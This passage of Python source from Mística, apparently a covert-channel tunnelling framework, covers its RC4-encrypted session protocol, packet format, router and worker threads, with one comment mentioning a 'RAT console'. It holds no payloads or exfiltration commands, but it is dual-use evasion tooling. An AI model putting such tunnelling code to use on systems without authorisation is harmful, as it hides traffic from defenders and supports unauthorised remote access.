Message("clientworker",0,self.wrappername,0,MessageType.STREAM,termpacket.toBytes())
]
# Method that performs the session reinitialization process
def doReintialization(self,packt):
repackt = self.generateReintializationPacket(packt)
self.oldst = self.st
self.st = Status.REINITIALIZING
self.storePackets(packt,repackt)
self.seqnumber=0
return [Message("clientworker",0,self.wrappername,0,MessageType.STREAM,repackt.toBytes())]
# functionality will be completed in the future
def initializeStop(self,packt):
stopackt = self.generateTerminatePacket(packt)
self.st = Status.TERMINATING
self.storePackets(packt,stopackt)
return [Message("clientworker",0,self.wrappername,0,MessageType.STREAM,stopackt.toBytes())]
# Method that resets the previous state after a session reinitialization.
def resetSession(self,packet):
response = []
self.st = self.oldst
packettosend = None
if self.someOverlayData():
self._LOGGING_ and self.logger.debug(f"[{self.name}] Overlay data detected, making transfer packet...")
packettosend = self.makeTransferPacket(packet)
response.append(Message("clientworker",0,self.wrappername,0,MessageType.STREAM,packettosend.toBytes()))
self.wait_reply = True
self.transceiving = True
else:
self._LOGGING_ and self.logger.debug(f"[{self.name}] No overlay data, waiting...")
self.wait_reply = False
self.transceiving = False
self.storePackets(packet,packettosend)
return response
# Method used to resend the previous package, if it has not exceeded the maximum number of retries,
# otherwise, loss of communication is reported
def lookForRetries(self):
if self.checkForRetries():
self._LOGGING_ and self.logger.error(f"[{self.name}] exceeded the maximum number of retries")
self.comms_broken = True
return [Message("clientworker",0,self.overlayname,0,MessageType.SIGNAL,SignalType.COMMS_BROKEN)]
else:
packt = self.lostPacket()
self.storePackets(packt,packt)
return [Message("clientworker",0,self.wrappername,0,MessageType.STREAM,packt.toBytes())]
# Trigger method that performs the checks associated with each function and then invokes it
# by returning a response.
def initialChecks(self,data,checkerFunc,nextFunc):
try:
p = self.transformToPacket(data.content)
if self.st != Status.REINITIALIZING and self.checkReinitialization(p):
self._LOGGING_ and self.logger.debug(f"[{self.name}] Reinitialization Request Packet detected")
return self.doReintialization(p)
if self.checkTermination(p):
self._LOGGING_ and self.logger.debug(f"[{self.name}] Termination Request Packet detected")
return self.doTermination(p)
if checkerFunc(p) == False:
self._LOGGING_ and self.logger.error(f"[{self.name}] {str(checkerFunc)} has failed, re-sending...")
return self.lookForRetries()
if self.checkConfirmation(p) == False:
self._LOGGING_ and self.logger.error(f"[{self.name}] checkConfirmation has failed, lpks: {self.lastPacketSent.seq_number} != ack: {p.ack}")
return self.lookForRetries()
return nextFunc(p)
except Exception as e:
self._LOGGING_ and self.logger.exception(f"[{self.name}] initialChecks Exception: {e}")
return [Message("clientworker",0,self.overlayname,0,MessageType.SIGNAL,SignalType.ERROR)]
# Method that processes data from the Wrapper (messages/packets from the server).
def wrapperProcessing(self, data):
self._LOGGING_ and self.logger.debug(f"[{self.name}] Processing data from Wrapper. Status: {self.st}")
if self.st == Status.INITIALIZING:
return self.initialChecks(data,self.checkInitResponse,self.doInitialize)
elif self.st == Status.WORKING:
return self.initialChecks(data,self.checkWorkResponse,self.doWork)
elif self.st == Status.TERMINATING:
self.st = Status.NOT_INITIALIZING
return [Message("clientworker",0,self.overlayname,0,MessageType.SIGNAL,SignalType.COMMS_FINISHED)]
elif self.st == Status.REINITIALIZING:
self._LOGGING_ and self.logger.debug(f"[{self.name}] About to reset session")
return self.initialChecks(data,self.checkWorkResponse,self.resetSession)
elif self.st == Status.STOPING:
return self.initialChecks(data,self.checkForStop,self.initializeStop)
else:
self._LOGGING_ and self.logger.error(f"[{self.name}] Invalid status on Wrapper Processing: {self.st}")
raise Exception(f"Invalid status on Wrapper Processing: {self.st}")
# Method that processes the data from the overlay and stores it in its buffer.
def overlayProcessing(self, data):
self._LOGGING_ and self.logger.debug(f"[DataThread] {data.sender} sent {len(data.content)} bytes of data, storing...")
self.storeOverlayContent(data.content)
if self.sid and not self.wait_reply and not self.transceiving:
return Message("datathread",0,"clientworker",0,MessageType.SIGNAL,SignalType.BUFFER_READY)
return
# A method (running on a thread) that receives the data from the overlay, encrypts it,
# chunks it and saves it parallel to the mistica client loop.
def dataEntry(self,qsotp):
while True:
data = self.qdata.get()
if data.isTerminateMessage() and data.sender == "clientworker":
break
msg = self.overlayProcessing(data)
if msg is not None:
qsotp.put(msg)
# Entry point for data messages received by the sotp of the wrapper
def streamEntry(self, data):
if data.sender == self.wrappername:
self.retries = 0
self._LOGGING_ and self.logger.debug(f"[{self.name}] Header Recv: {data.printHeader()}")
return self.wrapperProcessing(data)
else:
self._LOGGING_ and self.logger.error(f"[{self.name}] Invalid sender on streamEntry {data.sender} not [{self.overlayname}||{self.wrappername}]")
raise Exception(f"Invalid sender on streamEntry {data.sender} wait {self.wrappername}")
# Entry point for signal messages received by the sotp of the wrapper and/or overlay
def signalEntry(self, data):
response = []
if data.isTerminateMessage():
self._LOGGING_ and self.logger.debug_all(f"[{self.name}] signalEntry() received a signal terminate")
if self.lastPacketRecv and self.sid:
termpacket = self.generateTerminatePacket(self.lastPacketRecv)
self._LOGGING_ and self.logger.debug_all(f"[{self.name}] signalEntry() coms active, so sending a termination request")
not self.comms_broken and response.append(Message("clientworker",0,self.wrappername,0,MessageType.STREAM,termpacket.toBytes()))
response.append(Message("clientworker",0,self.wrappername,0,MessageType.SIGNAL,SignalType.TERMINATE))
self.qdata.put(Message("clientworker",0,'datathread',0,MessageType.SIGNAL,SignalType.TERMINATE))
self.exit = True
elif self.st == Status.NOT_INITIALIZING and data.isStartMessage():
self._LOGGING_ and self.logger.debug_all(f"[{self.name}] signalEntry() received a signal Start")
p = self.generateInitPacket()
self.wait_reply = True
response.append(Message("clientworker",0,self.wrappername,0,MessageType.STREAM,p.toBytes()))
self.lastPacketSent = p
self.st = Status.INITIALIZING
elif data.isStopMessage():
self._LOGGING_ and self.logger.debug_all(f"[{self.name}] signalEntry() received a signal Stop")
self.st = Status.STOPING
elif data.isCommunicationBrokenMessage():
self._LOGGING_ and self.logger.debug_all(f"[{self.name}] signalEntry() received a signal CommunicationBrokenMessage")
response = self.lookForRetries()
elif data.isBufferReady() and self.lastPacketSent is not None:
self._LOGGING_ and self.logger.debug_all(f"[{self.name}] signalEntry() received a signal Buffer Ready")
if not self.transceiving:
self.transceiving = True
self._LOGGING_ and self.logger.debug_all(f"[{self.name}] signalEntry() not transceiving so generate a transfer packet")
dpacket = self.makeTransferPacket(self.lastPacketRecv)
response.append(Message("clientworker",0,self.wrappername,0,MessageType.STREAM,dpacket.toBytes()))
else:
self._LOGGING_ and self.logger.error(f"[{self.name}] Invalid signal on streamEntry {data}")
raise Exception(f"Invalid signal on streamEntry {data}")
return response
# Main entry point, separated based on message type: data or signal
def Entrypoint(self,data):
try:
if data.msgtype == MessageType.SIGNAL:
self._LOGGING_ and self.logger.debug_all(f"[{self.name}] passing a signal message to Entrypoint")
return self.signalEntry(data)
else:
self._LOGGING_ and self.logger.debug_all(f"[{self.name}] passing a stream message to Entrypoint")
return self.streamEntry(data)
except Exception as e:
self._LOGGING_ and self.logger.exception(f"[{self.name}] Exception in Entrypoint: {e}")
return self.lookForRetries()
================================================
FILE: sotp/core.py
================================================
#
# Copyright (c) 2020 Carlos Fernández Sánchez and Raúl Caro Teixidó.
#
# This file is part of Mística
# (see https://github.com/IncideDigital/Mistica).
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
#
from sotp.packet import Packet
from utils.bitstring import BitArray
from utils.rc4 import RC4
from utils.buffer import Index, OverlayBuffer, WrapperBuffer
BYTE = 8
class Header(object):
SESSION_ID = 1 * BYTE
SEQ_NUMBER = 2 * BYTE
ACK = 2 * BYTE
DATA_LEN = 2 * BYTE
FLAGS = 1 * BYTE
class OptionalHeader(object):
SYNC_TYPE = 1 * BYTE
class Sizes(object):
HEADER = Header.SESSION_ID + Header.SEQ_NUMBER + Header.ACK + Header.DATA_LEN + Header.FLAGS
OPTIONAL_HEADER = OptionalHeader.SYNC_TYPE
MAX_MESSAGES = (2**Header.SEQ_NUMBER)-1
TAG = 2 * BYTE
class Offsets(object):
SESSION_ID = 0 + Header.SESSION_ID
SEQ_NUMBER = SESSION_ID + Header.SEQ_NUMBER
ACK = SEQ_NUMBER + Header.ACK
DATA_LEN = ACK + Header.DATA_LEN
FLAGS = DATA_LEN + Header.FLAGS
SYNC_TYPE = 0 + OptionalHeader.SYNC_TYPE
class Status(object):
NOT_INITIALIZING = 0
INITIALIZING = 1
WORKING = 2
TERMINATING = 3
REINITIALIZING = 4
STOPING = 5
class Flags(object):
SYNC = 1
PUSH = 2
class Sync(object):
REQUEST_AUTH = 0
RESPONSE_AUTH = 1
REINITIALIZING = 2
POLLING_REQUEST = 5
SESSION_TERMINATION = 6
class Core(object):
def __init__(self, key, maxretries, maxsize):
self.rc4 = RC4(bytes(key, encoding='utf8'), False)
self.st = Status.NOT_INITIALIZING
self.maxretries = maxretries
self.retries = 0
self.lastPacketSent = None
self.lastPacketRecv = None
self.bufOverlay = OverlayBuffer()
self.bufWrapper = WrapperBuffer()
self.checkMaxSizeAvailable(maxsize)
def checkMaxSizeAvailable(self, maxsize):
if maxsize > 2**Header.DATA_LEN:
raise Exception(f"MaxSize {maxsize} is exced {2**Header.DATA_LEN} which is max representation with {Header.DATA_LEN} bits of Data Length")
self.maxsize = maxsize
@staticmethod
def fromBytesToBitArray(data):
return BitArray(bytes=data)
@staticmethod
def parseRawPacket(binarypacket):
if len(binarypacket) < Sizes.HEADER:
raise Exception(f"Raw Packet size {len(binarypacket)} is lower than the minimun Header size {Sizes.HEADER}")
return binarypacket[:Sizes.HEADER], binarypacket[Sizes.HEADER:]
@staticmethod
def buildPacket(header, body):
p = Packet()
p.session_id = header[0:Offsets.SESSION_ID]
p.seq_number = header[Offsets.SESSION_ID:Offsets.SEQ_NUMBER]
p.ack = header[Offsets.SEQ_NUMBER:Offsets.ACK]
p.data_len = header[Offsets.ACK:Offsets.DATA_LEN]
p.flags = header[Offsets.DATA_LEN:Offsets.FLAGS]
p.sync_type = None
p.content = None
if p.isFlagActive(Flags.SYNC):
p.sync_type = BitArray(bin=body.bin[0:Offsets.SYNC_TYPE])
p.content = BitArray(bin=body.bin[Offsets.SYNC_TYPE:])
p.optional_headers = True
else:
p.sync_type = BitArray()
p.content = BitArray(bin=body.bin)
return p
@staticmethod
def transformToPacket(rawbytes):
bitarraydata = Core.fromBytesToBitArray(rawbytes)
header, body = Core.parseRawPacket(bitarraydata)
packt = Core.buildPacket(header, body)
return packt
def checkMainFields(self,packt):
if any(packt.session_id) == False:
return False
if any(packt.seq_number) == False:
return False
if any(packt.ack) == False:
return False
return True
def checkForRetries(self):
if self.retries == self.maxretries:
self.retries = 0
return True
self.retries = self.retries + 1
return False
def lostPacket(self):
if self.lastPacketSent is None:
raise Exception("Last sent packet is None, cannot resend")
else:
return self.lastPacketSent
def decryptWrapperData(self):
packets = self.bufWrapper.getChunks()
content = BitArray()
for packet in packets:
content.append('0b' + packet.content.bin)
bytescontent = content.tobytes()
decryptcontent = self.rc4.crypt(bytescontent)
return decryptcontent
def storeOverlayContent(self, data):
data = self.rc4.crypt(data)
index = Index()
lendata = len(data)
for i in range(0, lendata, self.maxsize):
index.add(data[i:i + self.maxsize])
self.bufOverlay.addIndex(index)
def someOverlayData(self):
return self.bufOverlay.anyIndex()
def checkConfirmation(self,packt):
if self.lastPacketSent is None:
raise Exception("Haven't sent any packet, can't perform confirmation.")
if self.lastPacketSent.seq_number != packt.ack:
return False
return True
def checkTermination(self,packt):
if self.checkMainFields(packt) == False:
return False
if packt.isFlagActive(Flags.SYNC) == False:
return False
if packt.isSyncType(Sync.SESSION_TERMINATION) == False:
return False
return True
================================================
FILE: sotp/misticathread.py
================================================
#
# Copyright (c) 2020 Carlos Fernández Sánchez and Raúl Caro Teixidó.
#
# This file is part of Mística
# (see https://github.com/IncideDigital/Mistica).
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
#
from threading import Thread
from queue import Queue
from utils.messaging import Message, MessageType, SignalType
from argparse import ArgumentParser
class MisticaMode:
SINGLE = 0
MULTI = 1
class MisticaThread(Thread):
def __init__(self, name, logger):
Thread.__init__(self)
self.name = name
self.inbox = Queue()
self.exit = False
# Logger parameters
self.logger = logger
self._LOGGING_ = False if logger is None else True
def generateArgParser(self):
config = self.CONFIG
parser = ArgumentParser(prog=config["prog"],description=config["description"])
for arg in config["args"]:
for name,field in arg.items():
opts = {}
for key,value in field.items():
opts[key] = value
parser.add_argument(name, **opts)
return parser
def handleMessage(self, msg):
answer = None
if (msg.isSignalMessage()):
answer = self.handleSignal(msg)
elif (msg.isStreamMessage()):
answer = self.handleStream(msg)
else:
raise Exception('Invalid Message')
return answer
# OVERRIDE ME
def handleSignal(self, msg):
pass
# OVERRIDE ME
def handleStream(self, msg):
pass
# OVERRIDE ME
def processAnswer(self, msg):
pass
def run(self):
while True:
try:
message = self.inbox.get()
answer = self.handleMessage(message) # Answer can be None
self.processAnswer(answer)
if self.exit:
self._LOGGING_ and self.logger.debug(f"[{self.name}] MisticaThread detect Exit Flag.")
break
except Exception as e:
self._LOGGING_ and self.logger.exception(f"[{self.name}] MisticaThread Exception: {e}")
self._LOGGING_ and self.logger.debug(f"[{self.name}] Terminated")
class ClientOverlay(MisticaThread):
def __init__(self, name, qsotp, qdata, args, logger):
MisticaThread.__init__(self, name, logger)
self.qsotp = qsotp
self.qdata = qdata
self.hasInput = False
# Generate argparse and parse args
self.argparser = self.generateArgParser()
self.args = self.argparser.parse_args(args.split())
self.parseArguments(self.args)
# Get tag, by default, from args
self.tag = self.args.tag[0]
# Logger parameters
self.logger = logger
self._LOGGING_ = False if logger is None else True
self.initCommunication()
# OVERRIDE ME
def parseArguments(self, args):
pass
# First of all, Overlay send a Signal Start Msg to Sotp.
def initCommunication(self):
m = Message(self.name, 0, "clientworker", 0, MessageType.SIGNAL, SignalType.START)
self.qsotp.put(m)
def handleSignal(self, msg):
if msg.isTerminateMessage() or msg.isCommunicationEndedMessage() or msg.isCommunicationBrokenMessage():
self.exit = True
self.qsotp.put(Message(self.name, 0, "clientworker", 0, MessageType.SIGNAL, SignalType.TERMINATE))
pass
def handleStream(self, msg):
answer = None
if (msg.sender == "input"):
answer = self.handleInputStream(msg)
elif (msg.sender == "clientworker"):
answer = self.handleSOTPStream(msg)
return answer
def handleInputStream(self, msg):
content = self.processInputStream(msg.content)
if content is None:
return None
return Message(self.name, 0, "datathread", 0, MessageType.STREAM, content)
def handleSOTPStream(self, msg):
content = self.processSOTPStream(msg.content)
if content is None:
return None
return Message(self.name, 0, "datathread", 0, MessageType.STREAM, content)
# Route answer to sotp or datathread queue.
def processAnswer(self, answer):
if answer is not None:
if answer.receiver == "clientworker":
self.qsotp.put(answer)
elif answer.receiver == "datathread":
self.qdata.put(answer)
pass
# OVERRIDE ME
def processInputStream(self, content):
pass
# OVERRIDE ME
def processSOTPStream(self, content):
pass
class ClientWrapper(MisticaThread):
def __init__(self, name, qsotp, logger):
MisticaThread.__init__(self,name, logger)
self.qsotp = qsotp
self.exit = False
# Logger parameters
self.logger = logger
self._LOGGING_ = False if logger is None else True
# Generate argparse
self.argparser = self.generateArgParser()
def handleSignal(self, msg):
if msg.isTerminateMessage():
self.exit = True
pass
def handleStream(self, msg):
try:
if (msg.sender == self.name):
return self.unwrap(msg.content)
elif (msg.sender == "clientworker"):
self.wrap(msg.content)
except Exception as e:
m = Message(self.name,0,"clientworker",0,MessageType.SIGNAL,SignalType.COMMS_BROKEN)
self._LOGGING_ and self.logger.exception(f"[{self.name}] Exception at handleStream: {e}")
self.qsotp.put(m)
# Route answer to sotp queue.
def processAnswer(self, answer):
if answer is not None:
m = self.messageToSOTP(answer)
self.qsotp.put(m)
def messageToSOTP(self, content):
return Message(self.name, 0, "clientworker", 0, MessageType.STREAM, content)
def messageToWrapper(self, content):
return Message(self.name, 0, "wrapper", 0, MessageType.STREAM, content)
# OVERRIDE ME
def wrap(self, content):
pass
# OVERRIDE ME
def unwrap(self, content):
pass
class ServerOverlay(MisticaThread):
def __init__(self, name, id, qsotp, mode, args, logger):
MisticaThread.__init__(self, name, logger)
self.workers = []
self.id = id
self.qsotp = qsotp
self.mode = mode
# Generate argparse and parse args
self.argparser = self.generateArgParser()
self.args = self.argparser.parse_args(args.split())
self.parseArguments(self.args)
# Get tag
self.tag = self.args.tag[0]
# Logger parameters
self.logger = logger
self._LOGGING_ = False if logger is None else True
# override me!
def parseArguments(self, args):
pass
def handleSignal(self, msg):
answer = None
if (msg.sender == "input"):
answer = self.handleInputSignal(msg)
elif (msg.sender == "serverworker" or msg.sender == "router"):
answer = self.handleSOTPSignal(msg)
return answer
def handleInputSignal(self, msg):
if msg.isTerminateMessage():
if self.mode == MisticaMode.SINGLE:
return Message(self.name, self.id, "router", 0,
MessageType.SIGNAL, SignalType.TERMINATE)
else:
return self.handleInterrupt()
# override this function to alter the behavior on multihandler mode
def handleInterrupt(self):
print("Interrupt ignored.")
return None
def handleSOTPSignal(self, msg):
answer = None
if msg.isTerminateMessage():
self.exit = True
elif msg.isCommsFinishedMessage() or msg.isCommsBrokenMessage():
if self.mode == MisticaMode.SINGLE:
answer = Message(self.name, self.id, "router", 0,
MessageType.SIGNAL, SignalType.TERMINATE)
else:
self.removeWorker(msg.sender_id) # crashed worker
return answer
def handleStream(self, msg):
answer = None
if (msg.sender == "input"):
answer = self.handleInputStream(msg)
elif (msg.sender == "serverworker"):
answer = self.handleSOTPStream(msg)
return answer
def handleInputStream(self, msg):
content = self.processInputStream(msg.content)
# By default, only one worker. Must be overriden for more
# In a multi-worker scenario inputs must be mapped to workers
return self.streamToSOTPWorker(content, self.workers[0].id)
def handleSOTPStream(self, msg):
for worker in self.workers:
if msg.sender_id == worker.id:
break
else:
return None
content = self.processSOTPStream(msg.content)
if content is None:
return None
return self.streamToSOTPWorker(content, msg.sender_id)
def processAnswer(self, answer):
if answer is None:
return
elif answer.receiver == "serverworker":
for worker in self.workers:
if answer.receiver_id == worker.id:
worker.inbox.put(answer)
return
elif answer.receiver == "datathread":
for worker in self.workers:
if answer.receiver_id == worker.id:
worker.datainbox.put(answer)
return
elif answer.receiver == "router":
self.qsotp.put(answer)
# override me
def processInputStream(self, content):
pass
# override me
def processSOTPStream(self, content):
pass
def addWorker(self, worker):
# By default only one worker can be added.
# For multi-worker scenarios (e.g. RAT console), this method must be overrriden
if not self.workers: # empty
self.workers.append(worker)
else:
raise(f"Cannot Register worker on overlay module. Module {self.name} only accepts one worker")
def removeWorker(self, id):
for worker in self.workers:
if id == worker.id:
self.workers.remove(id)
break
def streamToSOTPWorker(self, content, workerid):
return Message(self.name, self.id, "datathread", workerid, MessageType.STREAM, content)
def signalToSOTPWorker(self, content, workerid):
return Message(self.name, self.id, "serverworker", workerid, MessageType.SIGNAL, content)
class ServerWrapper(MisticaThread):
def __init__(self, id, name, qsotp, servername, args, logger):
MisticaThread.__init__(self, name, logger)
self.id = id
self.servername = servername
self.qsotp = qsotp
# Logger parameters
self.logger = logger
self._LOGGING_ = False if logger is None else True
# Generate argparse
self.argparser = self.generateArgParser()
self.parseArguments(args)
def handleSignal(self, msg):
answer = None
if (msg.sender == self.servername):
answer = self.handleServerSignal(msg)
elif (msg.sender == "router"):
answer = self.handleSOTPSignal(msg)
return answer
def handleSOTPSignal(self, msg):
if msg.isTerminateMessage():
self.exit = True
return None
def handleServerSignal(self, msg):
# TODO
pass
def handleStream(self, msg):
answer = None
if (msg.sender == self.servername):
answer = self.messageToRouter(self.unwrap(msg.content), msg.wrapServerQ)
elif (msg.sender == "serverworker" or msg.sender == "router"):
answer = self.messageToWrapServer(self.wrap(msg.content), msg.wrapServerQ)
return answer
# OVERRIDE ME
def wrap(self, content):
pass
# OVERRIDE ME
def unwrap(self, content):
pass
def processAnswer(self, answer):
if answer is None:
return
if answer.receiver == "router":
self.qsotp.put(answer)
else: # For a wrap server
answer.wrapServerQ.put(answer)
def messageToRouter(self, content, wrapServerQ):
if content is None:
return None
else:
return Message(self.name, self.id, "router", 0, MessageType.STREAM, content, wrapServerQ)
def messageToWrapServer(self, content, wrapServerQ):
if content is None:
return None
else:
return Message(self.name, self.id, self.servername, 0, MessageType.STREAM, content, wrapServerQ)
================================================
FILE: sotp/packet.py
================================================
#
# Copyright (c) 2020 Carlos Fernández Sánchez and Raúl Caro Teixidó.
#
# This file is part of Mística
# (see https://github.com/IncideDigital/Mistica).
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
#
from utils.bitstring import BitArray
BYTE = 8
class Packet(object):
def __init__(self):
self.session_id = None
self.seq_number = None
self.ack = None
self.data_len = None
self.flags = None
self.sync_type = None
self.content = None
self.optional_headers = False
# Method for transforming a sotp packet into BitArray
def toBytes(self):
data = BitArray()
data.append('0b'+self.session_id.bin)
data.append('0b'+self.seq_number.bin)
data.append('0b'+self.ack.bin)
data.append('0b'+self.data_len.bin)
data.append('0b'+self.flags.bin)
if self.optional_headers:
data.append('0b'+self.sync_type.bin)
if any(self.content):
data.append('0b'+self.content.bin)
return data.tobytes()
def isFlagActive(self,checkflag):
return True if self.flags.uint == checkflag else False
def isSyncType(self,checktype):
return True if self.optional_headers and self.sync_type.uint == checktype else False
def anyContentAvailable(self):
return True if any(self.data_len) and any(self.content) else False
================================================
FILE: sotp/route.py
================================================
#
# Copyright (c) 2020 Carlos Fernández Sánchez and Raúl Caro Teixidó.
#
# This file is part of Mística
# (see https://github.com/IncideDigital/Mistica).
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
#
class Route:
def __init__(self, session_id, worker, wrap_module, overlay):
self.session_id = session_id
self.worker = worker
self.wrap_module = wrap_module # MisticaThread
self.overlay = overlay # MisticaThread
================================================
FILE: sotp/router.py
================================================
#
# Copyright (c) 2020 Carlos Fernández Sánchez and Raúl Caro Teixidó.
#
# This file is part of Mística
# (see https://github.com/IncideDigital/Mistica).
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
#
from threading import Thread
from queue import Queue
from random import randint
from utils.messaging import Message, MessageType, SignalType
from utils.bitstring import BitArray
from sotp.packet import Packet
from sotp.serverworker import ServerWorker
from sotp.core import Header, OptionalHeader, Sizes, Offsets, Status, Flags, Sync
from sotp.core import Core
from sotp.route import Route
from sys import stderr
class Router(Thread):
def __init__(self, key, logger):
Thread.__init__(self)
self.inbox = Queue()
self.wrapModules = []
self.wrapServers = []
self.overlayModules = []
self.workers = []
self.routes = []
self.pendingInit = []
self.workerID = 1
self.rc4 = key
self.id = 0
self.name = "router"
self.exit = False
# Logger parameters
self.logger = logger
self._LOGGING_ = False if logger is None else True
def errorMessage(self, destination, destination_id):
return Message(self.name, self.id, destination, destination_id,
MessageType.SIGNAL, SignalType.ERROR)
def addRoute(self, session_id, worker, wrap_module, overlay):
self.routes.append(Route(session_id, worker, wrap_module, overlay))
def routeMessage(self, msg, sessionID):
if (msg.sender == "serverworker"): # Outgoing
for route in self.routes:
if (route.session_id == sessionID):
route.wrap_module.inbox.put(msg)
break
else: # incoming from wrapper
for route in self.routes:
if (route.session_id == sessionID):
route.worker.inbox.put(msg)
break
else: # worker not found
# Place error reply to unlock the server.
for route in self.routes:
if (route.wrap_module.id == msg.sender_id):
route.wrap_module.inbox.put(self.errorMessage(route.wrap_module.name,
route.wrap_module.id))
break
def craftTerminateMessage(self, receiver, receiver_id):
return Message(self.name, self.id, receiver, receiver_id,
MessageType.SIGNAL, SignalType.TERMINATE)
def handleSignal(self, msg):
self._LOGGING_ and self.logger.debug("[Router] Terminating all threads")
if msg.isTerminateMessage():
# shutdown everything
for wm in self.wrapModules:
wm.inbox.put(self.craftTerminateMessage(wm.name, wm.id))
for wm in self.wrapServers:
wm.inbox.put(self.craftTerminateMessage(wm.name, wm.id))
for wm in self.workers:
wm.inbox.put(self.craftTerminateMessage(wm.name, wm.id))
for wm in self.overlayModules:
wm.inbox.put(self.craftTerminateMessage(wm.name, wm.id))
self.exit = True
def sessionAlreadyExists(self, sessionID):
for route in self.routes:
if (route.session_id == sessionID):
return True
return False
def newSessionID(self):
while True:
sessionID = BitArray(uint=randint(1, ((2**Header.SESSION_ID)-1)), length=Header.SESSION_ID)
if not self.sessionAlreadyExists(sessionID):
break
return sessionID
def generateAuthResponsePacket(self, req, sessionID):
p = Packet()
p.session_id = sessionID
p.seq_number = BitArray(uint=1, length=Header.SEQ_NUMBER)
p.ack = req.seq_number
p.data_len = BitArray(bin='0' * Header.DATA_LEN)
p.flags = BitArray(uint=Flags.SYNC, length=Header.FLAGS)
p.optional_headers = True
p.sync_type = BitArray(uint=Sync.RESPONSE_AUTH, length=OptionalHeader.SYNC_TYPE)
p.content = BitArray()
return p
def validOverlayTag(self, tag):
for overlay in self.overlayModules:
if overlay.tag == tag:
return True
return False
def initializeSOTPSession(self, msg):
# Get sender:
sender = None
for wrapper in self.wrapModules:
if wrapper.id == msg.sender_id:
sender = wrapper
self._LOGGING_ and self.logger.debug(f"[Router] Found {msg.sender} with id {msg.sender_id} in the WrapModule list")
break
else: # not a valid wrapper?
self._LOGGING_ and self.logger.error(f"[Router] Error: Wrapper does not exist")
return
# Check if valid packet
try:
pkt = Core.transformToPacket(msg.content)
except Exception as e:
sender.inbox.put(self.errorMessage(sender.name, sender.id))
self._LOGGING_ and self.logger.exception(f"[Router] Exception on transformToPacket() {e}")
return
# Check if valid overlay tag
if not self.validOverlayTag(pkt.content):
sender.inbox.put(self.errorMessage(sender.name, sender.id))
self._LOGGING_ and self.logger.error(f"[Router] Error: Not a valid Overlay tag")
return
# Generate new random ID
try:
sessionID = self.newSessionID()
except Exception as e:
self._LOGGING_ and self.logger.exception(f"[Router] Exception on newSessionID() {e}")
sender.inbox.put(self.errorMessage(sender.name, sender.id))
return
# Add Session ID and overlay tag to pending and send response to wrapper
authpkt = self.generateAuthResponsePacket(pkt, sessionID)
self.pendingInit.append({
"sessionID": sessionID,
"tag": pkt.content,
"lastpkt": authpkt
})
# Avoid DoS by rejecting old pendings:
if len(self.pendingInit) > (Header.SESSION_ID / 2):
self.pendingInit.pop(0)
self._LOGGING_ and self.logger.debug(f"[Router] Passing Session Response back to {msg.sender}")
sender.inbox.put(Message(self.name, self.id,
sender.name, sender.id, MessageType.STREAM,
authpkt.toBytes(),msg.wrapServerQ))
def spawnRoute(self, msg, sessionID, tag, lastpkt):
overlay = None
wrapper = None
# Get overlay MisticaThread
for available in self.overlayModules:
if available.tag == tag:
overlay = available
break
else:
self._LOGGING_ and self.logger.error(f"[Router] Error: Overlay module no longer available")
return
# Get wrapper MisticaThread
for available in self.wrapModules:
if available.id == msg.sender_id:
wrapper = available
break
else:
self._LOGGING_ and self.logger.error(f"[Router] Error: Wrapper module no longer available")
return
self._LOGGING_ and self.logger.debug(f"[Router] Creating route for session 0x{sessionID.hex} from {wrapper.name} to {overlay.name}. Spawning worker...")
worker = ServerWorker(overlay, self.workerID, self.inbox, wrapper.max_retries,
wrapper.max_size, self.logger, self.rc4, sessionID, lastpkt)
self.workers.append(worker)
self.workerID += 1
self.routes.append(Route(sessionID, worker, wrapper, overlay))
self.pendingInit.remove({
"sessionID": sessionID,
"tag": tag,
"lastpkt": lastpkt
})
worker.start()
# ONLY gets the first N bytes where N is the size of the session_id field
def getSessionID(self, binarypacket):
return Core.fromBytesToBitArray(binarypacket)[0:Offsets.SESSION_ID]
def run(self):
self._LOGGING_ and self.logger.info(f"[Router] Staring up and waiting for messages...")
while (not self.exit):
msg = self.inbox.get()
# inbox contains signal?
if msg.isSignalMessage():
self._LOGGING_ and self.logger.debug(f"[Router] Signal received from {msg.sender} with content {msg.content}")
self.handleSignal(msg)
continue
# This inbox contains a sotp packet from a worker or a wrapper
try:
sessionID = self.getSessionID(msg.content)
except Exception as e:
print(e)
continue
# New session? create pending init
if (sessionID.hex == '00'):
self._LOGGING_ and self.logger.info(f"[Router] New Session Request. Initializing...")
self.initializeSOTPSession(msg)
continue
# Session init confirmed?
for elem in self.pendingInit:
if sessionID == elem['sessionID']:
